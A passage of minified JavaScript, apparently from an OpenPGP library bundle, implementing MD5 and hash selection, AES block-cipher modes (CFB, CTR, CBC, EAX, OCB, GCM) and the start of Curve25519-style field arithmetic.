=Er(i,n,a,r,t[5],21,-57434055),r=Er(r,i,n,a,t[12],6,1700485571),a=Er(a,r,i,n,t[3],10,-1894986606),n=Er(n,a,r,i,t[10],15,-1051523),i=Er(i,n,a,r,t[1],21,-2054922799),r=Er(r,i,n,a,t[8],6,1873313359),a=Er(a,r,i,n,t[15],10,-30611744),n=Er(n,a,r,i,t[6],15,-1560198380),i=Er(i,n,a,r,t[13],21,1309151649),r=Er(r,i,n,a,t[4],6,-145523070),a=Er(a,r,i,n,t[11],10,-1120210379),n=Er(n,a,r,i,t[2],15,718787259),i=Er(i,n,a,r,t[9],21,-343485551),e[0]=Cr(r,e[0]),e[1]=Cr(i,e[1]),e[2]=Cr(n,e[2]),e[3]=Cr(a,e[3])}function _r(e,t,r,i,n,a){return t=Cr(Cr(t,e),Cr(i,a)),Cr(t<<n|t>>>32-n,r)}function kr(e,t,r,i,n,a,s){return _r(t&r|~t&i,e,t,n,a,s)}function Ar(e,t,r,i,n,a,s){return _r(t&i|r&~i,e,t,n,a,s)}function Sr(e,t,r,i,n,a,s){return _r(t^r^i,e,t,n,a,s)}function Er(e,t,r,i,n,a,s){return _r(r^(t|~i),e,t,n,a,s)}function Pr(e){const t=[];let r;for(r=0;r<64;r+=4)t[r>>2]=e.charCodeAt(r)+(e.charCodeAt(r+1)<<8)+(e.charCodeAt(r+2)<<16)+(e.charCodeAt(r+3)<<24);return t}const xr="0123456789abcdef".split("");function Mr(e){let t="",r=0;for(;r<4;r++)t+=xr[e>>8*r+4&15]+xr[e>>8*r&15];return t}function Cr(e,t){return e+t&4294967295}const Kr=V.getWebCrypto(),Dr=V.getNodeCrypto();function Rr(e){return async function(t){const r=Dr.createHash(e);return B(t,(e=>{r.update(e)}),(()=>new Uint8Array(r.digest())))}}function Ir(e,t){return async function(r,i=ie){if(s(r)&&(r=await L(r)),!V.isStream(r)&&Kr&&t&&r.length>=i.minBytesForWebCrypto)return new Uint8Array(await Kr.digest(t,r));const n=e();return B(r,(e=>{n.update(e)}),(()=>new Uint8Array(n.digest())))}}function Ur(e,t){return async function(r,i=ie){if(s(r)&&(r=await L(r)),V.isStream(r)){const t=new e;return B(r,(e=>{t.process(e)}),(()=>t.finish().result))}return Kr&&t&&r.length>=i.minBytesForWebCrypto?new Uint8Array(await Kr.digest(t,r)):e.bytes(r)}}let Br;Br=Dr?{md5:Rr("md5"),sha1:Rr("sha1"),sha224:Rr("sha224"),sha256:Rr("sha256"),sha384:Rr("sha384"),sha512:Rr("sha512"),ripemd:Rr("ripemd160")}:{md5:async function(e){const t=function(e){const t=e.length,r=[1732584193,-271733879,-1732584194,271733878];let i;for(i=64;i<=e.length;i+=64)vr(r,Pr(e.substring(i-64,i)));e=e.substring(i-64);const n=[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0];for(i=0;i<e.length;i++)n[i>>2]|=e.charCodeAt(i)<<(i%4<<3);if(n[i>>2]|=128<<(i%4<<3),i>55)for(vr(r,n),i=0;i<16;i++)n[i]=0;return n[14]=8*t,vr(r,n),r}(V.uint8ArrayToString(e));return V.hexToUint8Array(function(e){for(let t=0;t<e.length;t++)e[t]=Mr(e[t]);return e.join("")}(t))},sha1:Ur($e,-1===navigator.userAgent.indexOf("Edge")&&"SHA-1"),sha224:Ir(Ct),sha256:Ur(Xe,"SHA-256"),sha384:Ir(nr,"SHA-384"),sha512:Ir(Wt,"SHA-512"),ripemd:Ir(dr)};var Tr={md5:Br.md5,sha1:Br.sha1,sha224:Br.sha224,sha256:Br.sha256,sha384:Br.sha384,sha512:Br.sha512,ripemd:Br.ripemd,digest:function(e,t){switch(e){case 1:return this.md5(t);case 2:return this.sha1(t);case 3:return this.ripemd(t);case 8:return this.sha256(t);case 9:return this.sha384(t);case 10:return this.sha512(t);case 11:return this.sha224(t);default:throw Error("Invalid hash function.")}},getHashByteLength:function(e){switch(e){case 1:return 16;case 2:case 3:return 20;case 8:return 32;case 9:return 48;case 10:return 64;case 11:return 28;default:throw Error("Invalid hash algorithm.")}}};class zr{static encrypt(e,t,r){return new zr(t,r).encrypt(e)}static decrypt(e,t,r){return new zr(t,r).decrypt(e)}constructor(e,t,r){this.aes=r||new Se(e,t,!0,"CFB"),delete this.aes.padding}encrypt(e){return ge(this.aes.AES_Encrypt_process(e),this.aes.AES_Encrypt_finish())}decrypt(e){return ge(this.aes.AES_Decrypt_process(e),this.aes.AES_Decrypt_finish())}}const qr=V.getWebCrypto(),Or=V.getNodeCrypto(),Fr=Or?Or.getCiphers():[],Nr={idea:Fr.includes("idea-cfb")?"idea-cfb":void 0,tripledes:Fr.includes("des-ede3-cfb")?"des-ede3-cfb":void 0,cast5:Fr.includes("cast5-cfb")?"cast5-cfb":void 0,blowfish:Fr.includes("bf-cfb")?"bf-cfb":void 0,aes128:Fr.includes("aes-128-cfb")?"aes-128-cfb":void 0,aes192:Fr.includes("aes-192-cfb")?"aes-192-cfb":void 0,aes256:Fr.includes("aes-256-cfb")?"aes-256-cfb":void 0};var Lr=/*#__PURE__*/Object.freeze({__proto__:null,encrypt:async function(e,t,r,i,n){if(V.getNodeCrypto()&&Nr[e])return function(e,t,r,i){const n=new Or.createCipheriv(Nr[e],t,i);return B(r,(e=>new Uint8Array(n.update(e))))}(e,t,r,i);if("aes"===e.substr(0,3))return function(e,t,r,i,n){if(V.getWebCrypto()&&24!==t.length&&!V.isStream(r)&&r.length>=3e3*n.minBytesForWebCrypto)return async function(e,t,r,i){const n="AES-CBC",a=await qr.importKey("raw",t,{name:n},!1,["encrypt"]),{blockSize:s}=je[e],o=V.concatUint8Array([new Uint8Array(s),r]),c=new Uint8Array(await qr.encrypt({name:n,iv:i},a,o)).subarray(0,r.length);return function(e,t){for(let r=0;r<e.length;r++)e[r]=e[r]^t[r]}(c,r),c}(e,t,r,i);const a=new zr(t,i);return B(r,(e=>a.aes.AES_Encrypt_process(e)),(()=>a.aes.AES_Encrypt_finish()))}(e,t,r,i,n);const a=new je[e](t),s=a.blockSize,o=i.slice();let c=new Uint8Array;const u=e=>{e&&(c=V.concatUint8Array([c,e]));const t=new Uint8Array(c.length);let r,i=0;for(;e?c.length>=s:c.length;){const e=a.encrypt(o);for(r=0;r<s;r++)o[r]=c[r]^e[r],t[i++]=o[r];c=c.subarray(s)}return t.subarray(0,i)};return B(r,u,u)},decrypt:async function(e,t,r,i){if(V.getNodeCrypto()&&Nr[e])return function(e,t,r,i){const n=new Or.createDecipheriv(Nr[e],t,i);return B(r,(e=>new Uint8Array(n.update(e))))}(e,t,r,i);if("aes"===e.substr(0,3))return function(e,t,r,i){if(V.isStream(r)){const e=new zr(t,i);return B(r,(t=>e.aes.AES_Decrypt_process(t)),(()=>e.aes.AES_Decrypt_finish()))}return zr.decrypt(r,t,i)}(0,t,r,i);const n=new je[e](t),a=n.blockSize;let s=i,o=new Uint8Array;const c=e=>{e&&(o=V.concatUint8Array([o,e]));const t=new Uint8Array(o.length);let r,i=0;for(;e?o.length>=a:o.length;){const e=n.encrypt(s);for(s=o,r=0;r<a;r++)t[i++]=s[r]^e[r];o=o.subarray(a)}return t.subarray(0,i)};return B(r,c,c)}});class jr{static encrypt(e,t,r){return new jr(t,r).encrypt(e)}static decrypt(e,t,r){return new jr(t,r).encrypt(e)}constructor(e,t,r){this.aes=r||new Se(e,void 0,!1,"CTR"),delete this.aes.padding,this.AES_CTR_set_options(t)}encrypt(e){return ge(this.aes.AES_Encrypt_process(e),this.aes.AES_Encrypt_finish())}decrypt(e){return ge(this.aes.AES_Encrypt_process(e),this.aes.AES_Encrypt_finish())}AES_CTR_set_options(e,t,r){let{asm:i}=this.aes.acquire_asm();if(void 0!==r){if(r<8||r>48)throw new ve("illegal counter size");let e=Math.pow(2,r)-1;i.set_mask(0,0,e/4294967296|0,0|e)}else r=48,i.set_mask(0,0,65535,4294967295);if(void 0===e)throw Error("nonce is required");{let t=e.length;if(!t||t>16)throw new ve("illegal nonce size");let r=new DataView(new ArrayBuffer(16));new Uint8Array(r.buffer).set(e),i.set_nonce(r.getUint32(0),r.getUint32(4),r.getUint32(8),r.getUint32(12))}if(void 0!==t){if(t<0||t>=Math.pow(2,r))throw new ve("illegal counter value");i.set_counter(0,0,t/4294967296|0,0|t)}}}class Wr{static encrypt(e,t,r=!0,i){return new Wr(t,i,r).encrypt(e)}static decrypt(e,t,r=!0,i){return new Wr(t,i,r).decrypt(e)}constructor(e,t,r=!0,i){this.aes=i||new Se(e,t,r,"CBC")}encrypt(e){return ge(this.aes.AES_Encrypt_process(e),this.aes.AES_Encrypt_finish())}decrypt(e){return ge(this.aes.AES_Decrypt_process(e),this.aes.AES_Decrypt_finish())}}const Hr=V.getWebCrypto(),Gr=V.getNodeCrypto(),Vr=16;function $r(e,t){const r=e.length-Vr;for(let i=0;i<Vr;i++)e[i+r]^=t[i];return e}const Zr=new Uint8Array(Vr);async function Yr(e){const t=await async function(e){if(V.getWebCrypto()&&24!==e.length)return e=await Hr.importKey("raw",e,{name:"AES-CBC",length:8*e.length},!1,["encrypt"]),async function(t){const r=await Hr.encrypt({name:"AES-CBC",iv:Zr,length:128},e,t);return new Uint8Array(r).subarray(0,r.byteLength-Vr)};if(V.getNodeCrypto())return async function(t){const r=new Gr.createCipheriv("aes-"+8*e.length+"-cbc",e,Zr).update(t);return new Uint8Array(r)};return async function(t){return Wr.encrypt(t,e,!1,Zr)}}(e),r=V.double(await t(Zr)),i=V.double(r);return async function(e){return(await t(function(e,t,r){if(e.length&&e.length%Vr==0)return $r(e,t);const i=new Uint8Array(e.length+(Vr-e.length%Vr));return i.set(e),i[e.length]=128,$r(i,r)}(e,r,i))).subarray(-16)}}const Xr=V.getWebCrypto(),Qr=V.getNodeCrypto(),Jr=V.getNodeBuffer(),ei=16,ti=ei,ri=new Uint8Array(ei),ii=new Uint8Array(ei);ii[15]=1;const ni=new Uint8Array(ei);async function ai(e){const t=await Yr(e);return function(e,r){return t(V.concatUint8Array([e,r]))}}async function si(e){return V.getWebCrypto()&&24!==e.length&&-1===navigator.userAgent.indexOf("Edge")?(e=await Xr.importKey("raw",e,{name:"AES-CTR",length:8*e.length},!1,["encrypt"]),async function(t,r){const i=await Xr.encrypt({name:"AES-CTR",counter:r,length:128},e,t);return new Uint8Array(i)}):V.getNodeCrypto()?async function(t,r){const i=new Qr.createCipheriv("aes-"+8*e.length+"-ctr",e,r),n=Jr.concat([i.update(t),i.final()]);return new Uint8Array(n)}:async function(t,r){return jr.encrypt(t,e,r)}}async function oi(e,t){if("aes"!==e.substr(0,3))throw Error("EAX mode supports only AES cipher");const[r,i]=await Promise.all([ai(t),si(t)]);return{encrypt:async function(e,t,n){const[a,s]=await Promise.all([r(ri,t),r(ii,n)]),o=await i(e,a),c=await r(ni,o);for(let e=0;e<ti;e++)c[e]^=s[e]^a[e];return V.concatUint8Array([o,c])},decrypt:async function(e,t,n){if(e.length<ti)throw Error("Invalid EAX ciphertext");const a=e.subarray(0,-16),s=e.subarray(-16),[o,c,u]=await Promise.all([r(ri,t),r(ii,n),r(ni,a)]),h=u;for(let e=0;e<ti;e++)h[e]^=c[e]^o[e];if(!V.equalsUint8Array(s,h))throw Error("Authentication tag mismatch");return await i(a,o)}}}ni[15]=2,oi.getNonce=function(e,t){const r=e.slice();for(let e=0;e<t.length;e++)r[8+e]^=t[e];return r},oi.blockLength=ei,oi.ivLength=16,oi.tagLength=ti;const ci=16,ui=16;function hi(e){let t=0;for(let r=1;0==(e&r);r<<=1)t++;return t}function di(e,t){for(let r=0;r<e.length;r++)e[r]^=t[r];return e}function fi(e,t){return di(e.slice(),t)}const li=new Uint8Array(ci),pi=new Uint8Array([1]);async function yi(e,t){let r,i,n,a=0;function s(e,t,i,s){const o=t.length/ci|0;!function(e,t){const r=V.nbits(Math.max(e.length,t.length)/ci|0)-1;for(let e=a+1;e<=r;e++)n[e]=V.double(n[e-1]);a=r}(t,s);const c=V.concatUint8Array([li.subarray(0,15-i.length),pi,i]),u=63&c[15];c[15]&=192;const h=r(c),d=V.concatUint8Array([h,fi(h.subarray(0,8),h.subarray(1,9))]),f=V.shiftRight(d.subarray(0+(u>>3),17+(u>>3)),8-(7&u)).subarray(1),l=new Uint8Array(ci),p=new Uint8Array(t.length+ui);let y,b=0;for(y=0;y<o;y++)di(f,n[hi(y+1)]),p.set(di(e(fi(f,t)),f),b),di(l,e===r?t:p.subarray(b)),t=t.subarray(ci),b+=ci;if(t.length){di(f,n.x);const i=r(f);p.set(fi(t,i),b);const a=new Uint8Array(ci);a.set(e===r?t:p.subarray(b,-16),0),a[t.length]=128,di(l,a),b+=t.length}const m=di(r(di(di(l,f),n.$)),function(e){if(!e.length)return li;const t=e.length/ci|0,i=new Uint8Array(ci),a=new Uint8Array(ci);for(let s=0;s<t;s++)di(i,n[hi(s+1)]),di(a,r(fi(i,e))),e=e.subarray(ci);if(e.length){di(i,n.x);const t=new Uint8Array(ci);t.set(e,0),t[e.length]=128,di(t,i),di(a,r(t))}return a}(s));return p.set(m,b),p}return function(e,t){const a=new je[e](t);r=a.encrypt.bind(a),i=a.decrypt.bind(a);const s=r(li),o=V.double(s);n=[],n[0]=V.double(o),n.x=s,n.$=o}(e,t),{encrypt:async function(e,t,i){return s(r,e,t,i)},decrypt:async function(e,t,r){if(e.length<ui)throw Error("Invalid OCB ciphertext");const n=e.subarray(-16);e=e.subarray(0,-16);const a=s(i,e,t,r);if(V.equalsUint8Array(n,a.subarray(-16)))return a.subarray(0,-16);throw Error("Authentication tag mismatch")}}}yi.getNonce=function(e,t){const r=e.slice();for(let e=0;e<t.length;e++)r[7+e]^=t[e];return r},yi.blockLength=ci,yi.ivLength=15,yi.tagLength=ui;const bi=68719476704;class mi{constructor(e,t,r,i=16,n){this.tagSize=i,this.gamma0=0,this.counter=1,this.aes=n||new Se(e,void 0,!1,"CTR");let{asm:a,heap:s}=this.aes.acquire_asm();if(a.gcm_init(),this.tagSize<4||this.tagSize>16)throw new ve("illegal tagSize value");const o=t.length||0,c=new Uint8Array(16);12!==o?(this._gcm_mac_process(t),s[0]=0,s[1]=0,s[2]=0,s[3]=0,s[4]=0,s[5]=0,s[6]=0,s[7]=0,s[8]=0,s[9]=0,s[10]=0,s[11]=o>>>29,s[12]=o>>>21&255,s[13]=o>>>13&255,s[14]=o>>>5&255,s[15]=o<<3&255,a.mac(pe.MAC.GCM,pe.HEAP_DATA,16),a.get_iv(pe.HEAP_DATA),a.set_iv(0,0,0,0),c.set(s.subarray(0,16))):(c.set(t),c[15]=1);const u=new DataView(c.buffer);if(this.gamma0=u.getUint32(12),a.set_nonce(u.getUint32(0),u.getUint32(4),u.getUint32(8),0),a.set_mask(0,0,0,4294967295),void 0!==r){if(r.length>bi)throw new ve("illegal adata length");r.length?(this.adata=r,this._gcm_mac_process(r)):this.adata=void 0}else this.adata=void 0;if(this.counter<1||this.counter>4294967295)throw new RangeError("counter must be a positive 32-bit integer");a.set_counter(0,0,0,this.gamma0+this.counter|0)}static encrypt(e,t,r,i,n){return new mi(t,r,i,n).encrypt(e)}static decrypt(e,t,r,i,n){return new mi(t,r,i,n).decrypt(e)}encrypt(e){return this.AES_GCM_encrypt(e)}decrypt(e){return this.AES_GCM_decrypt(e)}AES_GCM_Encrypt_process(e){let t=0,r=e.length||0,{asm:i,heap:n}=this.aes.acquire_asm(),a=this.counter,s=this.aes.pos,o=this.aes.len,c=0,u=o+r&-16,h=0;if((a-1<<4)+o+r>bi)throw new RangeError("counter overflow");const d=new Uint8Array(u);for(;r>0;)h=me(n,s+o,e,t,r),o+=h,t+=h,r-=h,h=i.cipher(pe.ENC.CTR,pe.HEAP_DATA+s,o),h=i.mac(pe.MAC.GCM,pe.HEAP_DATA+s,h),h&&d.set(n.subarray(s,s+h),c),a+=h>>>4,c+=h,h<o?(s+=h,o-=h):(s=0,o=0);return this.counter=a,this.aes.pos=s,this.aes.len=o,d}AES_GCM_Encrypt_finish(){let{asm:e,heap:t}=this.aes.acquire_asm(),r=this.counter,i=this.tagSize,n=this.adata,a=this.aes.pos,s=this.aes.len;const o=new Uint8Array(s+i);e.cipher(pe.ENC.CTR,pe.HEAP_DATA+a,s+15&-16),s&&o.set(t.subarray(a,a+s));let c=s;for(;15&c;c++)t[a+c]=0;e.mac(pe.MAC.GCM,pe.HEAP_DATA+a,c);const u=void 0!==n?n.length:0,h=(r-1<<4)+s;return t[0]=0,t[1]=0,t[2]=0,t[3]=u>>>29,t[4]=u>>>21,t[5]=u>>>13&255,t[6]=u>>>5&255,t[7]=u<<3&255,t[8]=t[9]=t[10]=0,t[11]=h>>>29,t[12]=h>>>21&255,t[13]=h>>>13&255,t[14]=h>>>5&255,t[15]=h<<3&255,e.mac(pe.MAC.GCM,pe.HEAP_DATA,16),e.get_iv(pe.HEAP_DATA),e.set_counter(0,0,0,this.gamma0),e.cipher(pe.ENC.CTR,pe.HEAP_DATA,16),o.set(t.subarray(0,i),s),this.counter=1,this.aes.pos=0,this.aes.len=0,o}AES_GCM_Decrypt_process(e){let t=0,r=e.length||0,{asm:i,heap:n}=this.aes.acquire_asm(),a=this.counter,s=this.tagSize,o=this.aes.pos,c=this.aes.len,u=0,h=c+r>s?c+r-s&-16:0,d=c+r-h,f=0;if((a-1<<4)+c+r>bi)throw new RangeError("counter overflow");const l=new Uint8Array(h);for(;r>d;)f=me(n,o+c,e,t,r-d),c+=f,t+=f,r-=f,f=i.mac(pe.MAC.GCM,pe.HEAP_DATA+o,f),f=i.cipher(pe.DEC.CTR,pe.HEAP_DATA+o,f),f&&l.set(n.subarray(o,o+f),u),a+=f>>>4,u+=f,o=0,c=0;return r>0&&(c+=me(n,0,e,t,r)),this.counter=a,this.aes.pos=o,this.aes.len=c,l}AES_GCM_Decrypt_finish(){let{asm:e,heap:t}=this.aes.acquire_asm(),r=this.tagSize,i=this.adata,n=this.counter,a=this.aes.pos,s=this.aes.len,o=s-r;if(s<r)throw new we("authentication tag not found");const c=new Uint8Array(o),u=new Uint8Array(t.subarray(a+o,a+s));let h=o;for(;15&h;h++)t[a+h]=0;e.mac(pe.MAC.GCM,pe.HEAP_DATA+a,h),e.cipher(pe.DEC.CTR,pe.HEAP_DATA+a,h),o&&c.set(t.subarray(a,a+o));const d=void 0!==i?i.length:0,f=(n-1<<4)+s-r;t[0]=0,t[1]=0,t[2]=0,t[3]=d>>>29,t[4]=d>>>21,t[5]=d>>>13&255,t[6]=d>>>5&255,t[7]=d<<3&255,t[8]=t[9]=t[10]=0,t[11]=f>>>29,t[12]=f>>>21&255,t[13]=f>>>13&255,t[14]=f>>>5&255,t[15]=f<<3&255,e.mac(pe.MAC.GCM,pe.HEAP_DATA,16),e.get_iv(pe.HEAP_DATA),e.set_counter(0,0,0,this.gamma0),e.cipher(pe.ENC.CTR,pe.HEAP_DATA,16);let l=0;for(let e=0;e<r;++e)l|=u[e]^t[e];if(l)throw new _e("data integrity check failed");return this.counter=1,this.aes.pos=0,this.aes.len=0,c}AES_GCM_decrypt(e){const t=this.AES_GCM_Decrypt_process(e),r=this.AES_GCM_Decrypt_finish(),i=new Uint8Array(t.length+r.length);return t.length&&i.set(t),r.length&&i.set(r,t.length),i}AES_GCM_encrypt(e){const t=this.AES_GCM_Encrypt_process(e),r=this.AES_GCM_Encrypt_finish(),i=new Uint8Array(t.length+r.length);return t.length&&i.set(t),r.length&&i.set(r,t.length),i}_gcm_mac_process(e){let{asm:t,heap:r}=this.aes.acquire_asm(),i=0,n=e.length||0,a=0;for(;n>0;){for(a=me(r,0,e,i,n),i+=a,n-=a;15&a;)r[a++]=0;t.mac(pe.MAC.GCM,pe.HEAP_DATA,a)}}}const gi=V.getWebCrypto(),wi=V.getNodeCrypto(),vi=V.getNodeBuffer(),_i=16,ki="AES-GCM";async function Ai(e,t){if("aes"!==e.substr(0,3))throw Error("GCM mode supports only AES cipher");if(V.getWebCrypto()&&24!==t.length){const e=await gi.importKey("raw",t,{name:ki},!1,["encrypt","decrypt"]);return{encrypt:async function(r,i,n=new Uint8Array){if(!r.length||!n.length&&-1!==navigator.userAgent.indexOf("Edge"))return mi.encrypt(r,t,i,n);const a=await gi.encrypt({name:ki,iv:i,additionalData:n,tagLength:128},e,r);return new Uint8Array(a)},decrypt:async function(r,i,n=new Uint8Array){if(r.length===_i||!n.length&&-1!==navigator.userAgent.indexOf("Edge"))return mi.decrypt(r,t,i,n);const a=await gi.decrypt({name:ki,iv:i,additionalData:n,tagLength:128},e,r);return new Uint8Array(a)}}}return V.getNodeCrypto()?{encrypt:async function(e,r,i=new Uint8Array){const n=new wi.createCipheriv("aes-"+8*t.length+"-gcm",t,r);n.setAAD(i);const a=vi.concat([n.update(e),n.final(),n.getAuthTag()]);return new Uint8Array(a)},decrypt:async function(e,r,i=new Uint8Array){const n=new wi.createDecipheriv("aes-"+8*t.length+"-gcm",t,r);n.setAAD(i),n.setAuthTag(e.slice(e.length-_i,e.length));const a=vi.concat([n.update(e.slice(0,e.length-_i)),n.final()]);return new Uint8Array(a)}}:{encrypt:async function(e,r,i){return mi.encrypt(e,t,r,i)},decrypt:async function(e,r,i){return mi.decrypt(e,t,r,i)}}}Ai.getNonce=function(e,t){const r=e.slice();for(let e=0;e<t.length;e++)r[4+e]^=t[e];return r},Ai.blockLength=16,Ai.ivLength=12,Ai.tagLength=_i;var Si={cfb:Lr,gcm:Ai,experimentalGCM:Ai,eax:oi,ocb:yi},Ei=tt((function(e){!function(e){var t=function(e){var t,r=new Float64Array(16);if(e)for(t=0;t<e.length;t++)r[t]=e[t];return r},r=function(){throw Error("no PRNG")},i=new Uint8Array(32);i[0]=9;var n=t(),a=t([1]),s=t([56129,1]),o=t([30883,4953,19914,30187,55467,16705,2637,112,59544,30585,16505,36039,65139,11119,27886,20995]),c=t([61785,9906,39828,60374,45398,33411,5274,224,53552,61171,33010,6542,64743,22239,55772,9222]),u=t([54554,36645,11616,51542,42930,38181,51040,26924,56412,64982,57905,49316,21502,52590,14035,8553]),h=t([26200,26214,26214,26214,26214,26214,26214,26214,26214,26214,26214,26214,26214,26214,26214,26214]),d=t([41136,18958,6951,50414,58488,44335,6150,12099,55207,15867,153,11085,57099,20417,9344,11139]);function f(e,t,r,i){return function(e,t,r,i,n){var a,s=0;for(a=0;a<n;a++)s|=e[t+a]^r[i+a];return(1&s-1>>>8)-1}(e,t,r,i,32)}function l(e,t){var r;for(r=0;r<16;r++)e[r]=0|t[r]}function p(e){var t,r,i=1;for(t=0;t<16;t++)r=e[t]+i+65535,i=Math.floor(r/65536),e[t]=r-65536*i;e[0]+=i-1+37*(i-1)}function y(e,t,r){for(var i,n=~(r-1),a=0;a<16;a++)i=n&(e[a]^t[a]),e[a]^=i,t[a]^=i}function b(e,r){var i,n,a,s=t(),o=t();for(i=0;i<16;i++)o[i]=r[i];for(p(o),p(o),p(o),n=0;n<2;n++){for(s[0]=o[0]-65517,i=1;i<15;i++)s[i]=o[i]-65535-(s[i-1]>>16&1),s[i-1]&=65535;s[15]=o[15]-32767-(s[14]>>16&1),a=s[15]>>16&1,s[14]&=65535,y(o,s,1-a)}for(i=0;i<16;i++)e[2*i]=255&o[i],e[2*i+1]=o[i]>>8}function m(e,t){var r=new Uint8Array(32),i=new Uint8Array(32);return b(r,e),b(i,t),f(r,0,i,0)}function g(e){var t=new Uint8Array(32);return b(t,e),1&t[0]}function w(e,t){var r;for(r=0;r<16;r++)e[r]=t[2*r]+(t[2*r+1]<<8);e[15]&=32767}function v(e,t,r){for(var i=0;i<16;i++)e[i]=t[i]+r[i]}function _(e,t,r){for(var i=0;i<16;i++)e[i]=t[i]-r[i]}function k(e,t,r){var i,n,a=0,s=0,o=0,c=0,u=0,h=0,d=0,f=0,l=0,p=0,y=0,b=0,m=0,g=0,w=0,v=0,_=0,k=0,A=0,S=0,E=0,P=0,x=0,M=0,C=0,K=0,D=0,R=0,I=0,U=0,B=0,T=r[0],z=r[1],q=r[2],O=r[3],F=r[4],N=r[5],L=r[6],j=r[7],W=r[8],H=r[9],G=r[10],V=r[11],$=r[12],Z=r[13],Y=r[14],X=r[15];a+=(i=t[0])*T,s+=i*z,o+=i*q,c+=i*O,u+=i*F,h+=i*N,d+=i*L,f+=i*j,l+=i*W,p+=i*H,y+=i*G,b+=i*V,m+=i*$,g+=i*Z,w+=i*Y,v+=i*X,s+=(i=t[1])*T,o+=i*z,c+=i*q,u+=i*O,h+=i*F,d+=i*N,f+=i*L,l+=i*j,p+=i*W,y+=i*H,b+=i*G,m+=i*V,g+=i*$,w+=i*Z,v+=i*Y,_+=i*X,o+=(i=t[2])*T,c+=i*z,u+=i*q,h+=i*O,d+=i*F,f+=i*N,l+=i*L,p+=i*j,y+=i*W,b+=i*H,m+=i*G,g+=i*V,w+=i*$,v+=i*Z,_+=i*Y,k+=i*X,c+=(i=t[3])*T,u+=i*z,h+=i*q,d+=i*O,f+=i*F,l+=i*N,p+=i*L,y+=i*j,b+=i*W,m+=i*H,g+=i*G,w+=i*V,v+=i*$,_+=i*Z,k+=i*Y,A+=i*X,u+=(i=t[4])*T,h+=i*z,d+=i*q,f+=i*O,l+=i*F,p+=i*N,y+=i*L,b+=i*j,m+=i*W,g+=i*H,w+=i*G,v+=i*V,_+=i*$,k+=i*Z,A+=i*Y,S+=i*X,h+=(i=t[5])*T,d+=i*z,f+=i*q,l+=i*O,p+=i*F,y+=i*N,b+=i*L,m+=i*j,g+=i*W,w+=i*H,v+=i*G,_+=i*V,k+=i*$,A+=i*Z,S+=i*Y,E+=i*X,d+=(i=t[6])*T,f+=i*z,l+=i*q,p+=i*O,y+=i*F,b+=i*N,m+=i*L,g+=i*j,w+=i*W,v+=i*H,_+=i*G,k+=i*V,A+=i*$,S+=i*Z,E+=i*Y,P+=i*X,f+=(i=t[7])*T,l+=i*z,p+=i*q,y+=i*O,b+=i*F,m+=i*N,g+=i*L,w+=i*j,v+=i*W,_+=i*H,k+=i*G,A+=i*V,S+=i*$,E+=i*Z,P+=i*Y,x+=i*X,l+=(i=t[8])*T,p+=i*z,y+=i*q,b+=i*O,m+=i*F,g+=i*N,w+=i*L,v+=i*j,_+=i*W,k+=i*H,A+=i*G,S+=i*V,E+=i*$,P+=i*Z,x+=i*Y,M+=i*X,p+=(i=t[9])*T,y+=i*z,b+=i*q,m+=i*O,g+=i*F,w+=i*N,v+=i*L,_+=i*j,k+=i*W,A+=i*H,S+=i*G,E+=i*V,P+=i*$,x+=i*Z,M+=i*Y,C+=i*X,y+=(i=t[10])*T,b+=i*z,m+=i*q,g+=i*O,w+=i*F,v+=i*N,_+=i*L,k+=i*j,A+=i*W,S+=i*H,E+=i*G,P+=i*V,x+=i*$,M+=i*Z,C+=i*Y,K+=i*X,b+=(i=t[11])*T,m+=i*z,g+=i*q,w+=i*O,v+=i*F,_+=i*N,k+=i*L,A+=i*j,S+=i*W,E+=i*H,P+=i*G,x+=i*V,M+=i*$,C+=i*Z,K+=i*Y,D+=i*X,m+=(i=t[12])*T,g+=i*z,w+=i*q,v+=i*O,_+=i*F,k+=i*N,A+=i*L,S+=i*j,E+=i*W,P+=i*H,x+=i*G,M+=i*V,C+=i*$,K+=i*Z,D+=i*Y,R+=i*X,g+=(i=t[13])*T,w+=i*z,v+=i*q,_+=i*O,k+=i*F,A+=i*N,S+=i*L,E+=i*j,P+=i*W,x+=i*H,M+=i*G,C+=i*V,K+=i*$,D+=i*Z,R+=i*Y,I+=i*X,w+=(i=t[14])*T,v+=i*z,_+=i*q,k+=i*O,A+=i*F,S+=i*N,E+=i*L,P+=i*j,x+=i*W,M+=i*H,C+=i*G,K+=i*V,D+=i*$,R+=i*Z,I+=i*Y,U+=i*X,v+=(i=t[15])*T,s+=38*(k+=i*q),o+=38*(A+=i*O),c+=38*(S+=i*F),u+=38*(E+=i*N),h+=38*(P+=i*L),d+=38*(x+=i*j),f+=38*(M+=i*W),l+=38*(C+=i*H),p+=38*(K+=i*G),y+=38*(D+=i*V),b+=38*(R+=i*$),m+=38*(I+=i*Z),g+=38*(U+=i*Y),w+=38*(B+=i*X),a=(i=(a+=38*(_+=i*z))+(n=1)+65535)-65536*(n=Math.floor(i/65536)),s=(i=s+n+65535)-65536*(n=Math.floor(i/65536)),o=(i=o+n+65535)-65536*(n=Math.floor(i/65536)),c=(i=c+n+65535)-65536*(n=Math.floor(i/65536)),u=(i=u+n+65535)-65536*(n=Math.floor(i/65536)),h=(i=h+n+65535)-65536*(n=Math.floor(i/65536)),d=(i=d+n+65535)-65536*(n=Math.floor(i/65536)),f=(i=f+n+65535)-65536*(n=Math.floor(i/65536)),l=(i=l+n+65535)-65536*(n=Math.floor(i/65536)),p=(i=p+n+65535)-65536*(n=Math.floor(i/65536)),y=(i=y+n+65535)-65536*(n=Math.floor(i/65536)),b=(i=b+n+65535)-65536*(n=Math.floor(i/65536)),m=(i=m+n+65535)-65536*(n=Math.floor(i/65536)),g=(i=g+n+65535)-65536*(n=Math.floor(i/65536)),w=(i=w+n+65535)-65536*(n=Math.floor(i/65536)),v=(i=v+n+65535)-65536*(n=Math.floor(i/65536)),a=(i=(a+=n-1+37*(n-1))+(n=1)+65535)-65536*(n=Math.floor(i/65536)),s=(i=s+n+65535)-65536*(n=Math.floor(i/65536)),o=(i=o+n+65535)-65536*(n=Math.floor(i/65536)),c=(i=c+n+65535)-65536*(n=Math.floor(i/65536)),u=(i=u+n+65535)-65536*(n=Math.floor(i/65536)),h=(i=h+n+65535)-65536*(n=Math.floor(i/65536)),d=(i=d+n+65535)-65536*(n=Math.floor(i/65536)),f=(i=f+n+65535)-65536*(n=Math.floor(i/65536)),l=(i=l+n+65535)-65536*(n=Math.floor(i/65536)),p=(i=p+n+65535)-65536*(n=Math.floor(i/65536)),y=(i=y+n+65535)-65536*(n=Math.floor(i/65536)),b=(i